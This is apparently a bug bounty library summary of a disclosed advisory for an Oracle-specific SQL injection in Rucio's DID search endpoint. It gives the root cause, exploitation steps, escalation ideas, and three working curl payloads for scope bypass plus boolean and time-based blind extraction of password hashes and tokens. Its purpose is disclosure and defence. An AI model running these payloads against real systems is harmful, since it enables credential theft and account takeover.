# Rucio has SQL Injection in FilterEngine Oracle JSON Path via DID Search API

Oracle-only SQL injection in Rucio's FilterEngine JSON path lets any authenticated user read password hashes and tokens via the DID search endpoint.

- Payout: Research
- Severity: critical
- Program: Rucio
- Found by: Mistz1, bziemons
- Disclosed: 2026-05-06
- CVE: CVE-2026-29080
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-vjr5-c9qv-hgm3
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-vjr5-c9qv-hgm3
- Tags: area:web domain:api domain:web impact:ato impact:data-leak impact:privesc kind:research platform:ghsa sev:critical tech:python technique:blind technique:source-review vuln:sqli

**Target:** GET /dids/<scope>/dids/search filter parameters on Oracle-backed Rucio
**Root cause:** Oracle branch of FilterEngine.create_sqla_query interpolates attacker-controlled filter key and value into sqlalchemy.text() via str.format instead of bind parameters; strict_coerce=False and sanity checks don't validate arbitrary keys/values.
**Steps:**
1. Obtain any valid Rucio auth token via /auth/userpass (or x509/OIDC/SAML/SSH/GSS).
2. Send `GET /dids/user.testuser/dids/search?custom_key=x%22%27)%20OR%201%3D1%20OR%20json_exists(meta%2C%27%24%3F(%40.a%20%3D%3D%20%22b` with the token header; the value closes the template suffix `")')` and appends `OR 1=1`, bypassing the scope filter via AND/OR precedence.
3. For blind extraction, inject `x")') OR (SELECT CASE WHEN SUBSTR((SELECT password FROM identities WHERE ROWNUM=1),1,1)='a' THEN 1 ELSE 0 END FROM dual)=1 OR json_exists(meta,'$?(@.a == "b` and distinguish by row count.
4. Alternatively use time-based: `... THEN DBMS_PIPE.RECEIVE_MESSAGE('x',5) ELSE 0 END FROM dual)=5 ...` and measure ~5s delay.
5. Iterate character positions to dump identities.password, tokens, rse_settings credentials.
6. Same payload works via the `filters` query parameter as a JSON array.
**How found:** Code review of the Oracle dialect branch in create_sqla_query, noticing text() built with .format() while the non-Oracle branch uses bind-parameterized json_column[key].as_string(); traced the 7-layer data flow to confirm no sanitization of arbitrary keys/values.
**Exploitation:** Any authenticated user hits the DID search endpoint with a crafted custom_key filter value; the value is spliced into an Oracle json_exists() text() fragment. Because `--` breaks cx_Oracle bind validation (ORA-01036), the payload opens a dummy json_exists() that the template suffix closes, keeping bind params intact. `OR 1=1` bypasses scope; boolean or DBMS_PIPE time-based subqueries exfiltrate password hashes and bearer tokens for session hijack.
**Escalation:** Extracted tokens enable immediate session hijacking; single-iteration SHA-256 hashes crack at GPU speed; Oracle PL/SQL (UTL_HTTP, DBMS_SCHEDULER, Java stored procs) may yield RCE if DB user is privileged.
**Insight:** When a library has dialect-specific branches, diff them: the parameterized non-Oracle path is a tell that the Oracle text()/format path is raw. Also, when SQL comments break bind-parameter validation (ORA-01036), craft payloads that consume the template's trailing characters with a balanced dummy function call instead of commenting out.

## Proof of concept (copied exactly from the original report)

**Boolean scope-bypass injection via custom_key**

```
curl -s -k \
  -H "X-Rucio-Auth-Token: $TOKEN" \
  -H "Accept: application/x-json-stream" \
  'https://rucio.example.org/dids/user.testuser/dids/search?custom_key=x%22%27)%20OR%201%3D1%20OR%20json_exists(meta%2C%27%24%3F(%40.a%20%3D%3D%20%22b'
```

**Boolean blind password hash extraction payload**

```
curl -s -k \
  -H "X-Rucio-Auth-Token: $TOKEN" \
  -H "Accept: application/x-json-stream" \
  'https://rucio.example.org/dids/user.testuser/dids/search?custom_key=x%22%27)%20OR%20(SELECT%20CASE%20WHEN%20SUBSTR((SELECT%20password%20FROM%20identities%20WHERE%20ROWNUM%3D1)%2C1%2C1)%3D%27a%27%20THEN%201%20ELSE%200%20END%20FROM%20dual)%3D1%20OR%20json_exists(meta%2C%27%24%3F(%40.a%20%3D%3D%20%22b'
```

**Time-based blind injection with DBMS_PIPE delay**

```
curl -s -k -o /dev/null -w "%{time_total}" \
  -H "X-Rucio-Auth-Token: $TOKEN" \
  -H "Accept: application/x-json-stream" \
  'https://rucio.example.org/dids/user.testuser/dids/search?custom_key=x%22%27)%20OR%20(SELECT%20CASE%20WHEN%20SUBSTR((SELECT%20password%20FROM%20identities%20WHERE%20ROWNUM%3D1)%2C1%2C1)%3D%27a%27%20THEN%20DBMS_PIPE.RECEIVE_MESSAGE(%27x%27%2C5)%20ELSE%200%20END%20FROM%20dual)%3D5%20OR%20json_exists(meta%2C%27%24%3F(%40.a%20%3D%3D%20%22b'
```

